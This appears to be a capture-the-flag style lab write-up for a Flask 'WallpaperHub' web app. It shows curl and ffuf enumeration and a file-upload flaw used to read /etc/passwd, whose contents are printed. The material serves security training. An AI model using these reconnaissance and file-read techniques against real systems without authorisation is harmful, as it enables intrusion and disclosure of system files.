Web

Nmap discovered a Web server on the target port 5000 The running service is Werkzeug httpd 3.0.1 (Python 3.12.3)

┌──(kali㉿kali)-[~/PEN-200/PG_PRACTICE/wallpaperhub]
└─$ curl -I -X OPTIONS http://$IP:5000/ 
HTTP/1.1 200 OK
Server: Werkzeug/3.0.1 Python/3.12.3
Date: Tue, 15 Apr 2025 11:01:32 GMT
Content-Type: text/html; charset=utf-8
Allow: OPTIONS, GET, HEAD
Content-Length: 0
Connection: close
 
 
┌──(kali㉿kali)-[~/PEN-200/PG_PRACTICE/wallpaperhub]
└─$ curl -I http://$IP:5000/        
HTTP/1.1 200 OK
Server: Werkzeug/3.0.1 Python/3.12.3
Date: Tue, 15 Apr 2025 11:01:34 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 1132
Connection: close

Webroot

It’s a Flask application; Flask 3.0.1

Authentication

There is a login page at the /login endpoint However, no credential is known at this time

Registration

Creating a testing account

The server offers what appears to be a JWT

Dashboard

Logging in

Uploading Wallpaper

wallpaper can be uploaded at the /upload-wallpaper endpoint It sends a POST request to the endpoint

Interestingly, the web app responses with a session cookie in the session parameter

Downloading Wallpaper

Uploaded file can be viewed at the /my-uploads endpoint

As well as the /gallery endpoint

Attempting to download uploaded file reveals that uploaded files appears to get renamed and stored to the /download directory

But then looking at the actual downloaded file reveals that the web app only appends a prefix; wallpapers_ This would meant that /download/397f4e8d-7f9f-4dc1-803a-36a3c1dabf87 is an identification that points to the actual file

Testing for LFI

Testing the file upload feature for LFI

It went through. There is no input validation.

Downloading the file

┌──(kali㉿kali)-[~/PEN-200/PG_PRACTICE/wallpaperhub]
└─$ cat ~/Downloads/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:998:998:systemd Network Management:/:/usr/sbin/nologin
systemd-timesync:x:997:997:systemd Time Synchronization:/:/usr/sbin/nologin
dhcpcd:x:100:65534:DHCP Client Daemon,,,:/usr/lib/dhcpcd:/bin/false
messagebus:x:101:102::/nonexistent:/usr/sbin/nologin
systemd-resolve:x:992:992:systemd Resolver:/:/usr/sbin/nologin
pollinate:x:102:1::/var/cache/pollinate:/bin/false
polkitd:x:991:991:User for polkitd:/:/usr/sbin/nologin
syslog:x:103:104::/nonexistent:/usr/sbin/nologin
uuidd:x:104:105::/run/uuidd:/usr/sbin/nologin
tcpdump:x:105:107::/nonexistent:/usr/sbin/nologin
tss:x:106:108:TPM software stack,,,:/var/lib/tpm:/bin/false
landscape:x:107:109::/var/lib/landscape:/usr/sbin/nologin
fwupd-refresh:x:989:989:Firmware update daemon:/var/lib/fwupd:/usr/sbin/nologin
usbmux:x:108:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
sshd:x:109:65534::/run/sshd:/usr/sbin/nologin
ubuntu:x:1000:1000:Ubuntu:/home/ubuntu:/bin/bash
wp_hub:x:1001:1001::/home/wp_hub:/bin/bash

LFI confirmed

Fuzzing

┌──(kali㉿kali)-[~/PEN-200/PG_PRACTICE/wallpaperhub]
└─$ ffuf -c -w /usr/share/wordlists/seclists/Discovery/Web-Content/big.txt -u http://$IP:5000/FUZZ -ic -e .html,.txt -fc 403
________________________________________________
 :: Method           : GET
 :: URL              : http://192.168.106.204:5000/FUZZ
 :: Wordlist         : FUZZ: /usr/share/wordlists/seclists/Discovery/Web-Content/big.txt
 :: Extensions       : .html .txt 
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response status: 403
________________________________________________
dashboard               [Status: 302, Size: 199, Words: 18, Lines: 6, Duration: 41ms]
gallery                 [Status: 200, Size: 13842, Words: 5094, Lines: 313, Duration: 46ms]
login                   [Status: 200, Size: 933, Words: 138, Lines: 28, Duration: 34ms]
logout                  [Status: 302, Size: 199, Words: 18, Lines: 6, Duration: 21ms]
register                [Status: 200, Size: 847, Words: 133, Lines: 27, Duration: 35ms]
settings                [Status: 302, Size: 199, Words: 18, Lines: 6, Duration: 26ms]
subscriptions           [Status: 302, Size: 199, Words: 18, Lines: 6, Duration: 26ms]
:: Progress: [61434/61434] :: Job [1/1] :: 632 req/sec :: Duration: [0:01:38] :: Errors: 0 ::

N/A

InfoSec LAB

Explorer

WallpaperHub_Web_5000

Web